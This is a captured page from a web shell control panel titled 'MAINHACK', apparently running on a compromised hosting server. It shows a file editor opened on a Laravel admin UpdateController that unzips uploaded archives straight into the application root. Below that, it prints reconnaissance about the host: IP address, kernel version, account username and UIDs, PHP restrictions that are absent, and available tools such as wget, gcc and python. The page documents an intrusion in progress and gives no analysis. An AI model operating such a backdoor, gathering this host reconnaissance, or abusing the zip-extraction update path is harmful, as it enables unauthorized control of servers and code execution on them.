[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: UpdateController.php
<?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use Illuminate\Support\Facades\Artisan; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\File; use Illuminate\Support\Facades\Validator; class UpdateController extends Controller { public function index() { $this->authorize("admin_settings_update_app"); $data = [ 'pageTitle' => trans('update.update_app') ]; return view('admin.settings.update_app.index', $data); } public function basicUpdate(Request $request) { $this->authorize("admin_settings_update_app"); $data = $request->all(); $validator = Validator::make($data, [ 'file' => 'required|mimes:zip', 'basic_update_confirm' => 'required' ]); if ($validator->fails()) { return response([ 'code' => 422, 'errors' => $validator->errors(), ], 422); } $file = $request->file('file'); $zip = new \ZipArchive(); $zip->open($file); $zip->extractTo(base_path()); $zip->close(); $this->handleClearCache(); return response()->json([ 'code' => 200, 'msg' => trans('update.app_updated_successful') ]); } public function customUpdate(Request $request) { $this->authorize("admin_settings_update_app"); $data = $request->all(); $validator = Validator::make($data, [ 'file' => 'required|mimes:zip', 'custom_update_confirm' => 'required' ]); if ($validator->fails()) { return response([ 'code' => 422, 'errors' => $validator->errors(), ], 422); } $path = base_path("/update_tmp"); $file = $request->file('file'); $zip = new \ZipArchive(); $zip->open($file); $zip->extractTo($path); $zip->close(); $json = json_decode(file_get_contents("$path/config.json"), true); if (!empty($json['directory']) and !empty($json['directory'][0]['name'])) { foreach ($json['directory'][0]['name'] as $directory) { if (!is_dir(base_path($directory))) { mkdir(base_path($directory), 0777, true); } } } if (!empty($json['files'])) { foreach ($json['files'] as $file) { copy("$path/{$file['root_directory']}", base_path($file['update_directory'])); } } // remove tmp dir File::deleteDirectory($path); $this->handleClearCache(); return response()->json([ 'code' => 200, 'msg' => trans('update.app_updated_successful_json') ]); } public function databaseUpdate(Request $request) { $this->authorize("admin_settings_update_app"); $data = $request->all(); $validator = Validator::make($data, [ 'database_update_confirm' => 'required' ]); if ($validator->fails()) { return response([ 'code' => 422, 'errors' => $validator->errors(), ], 422); } try { Artisan::call('migrate', [ '--force' => true ]); $msg1 = Artisan::output(); } catch (\Exception $exception) { $msg1 = "Migration Error: " . $exception->getMessage(); } try { Artisan::call('db:seed', [ '--force' => true ]); $msg2 = Artisan::output(); } catch (\Exception $exception) { $msg2 = "Section Error: " . $exception->getMessage(); } $this->handleClearCache(); $html = "<div class='mb-3'><h4 class='font-16'>Migrations :</h4> <p class='mt-1 font-14 text-muted'>$msg1</p></div>"; $html .= "<div class='mb-3'><h4 class='font-16'>Sections :</h4> <p class='mt-1 font-14 text-muted'>$msg2</p></div>"; return response()->json([ 'code' => 200, 'message' => $html ]); } private function handleClearCache() { Artisan::call('clear:all', [ '--force' => true ]); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285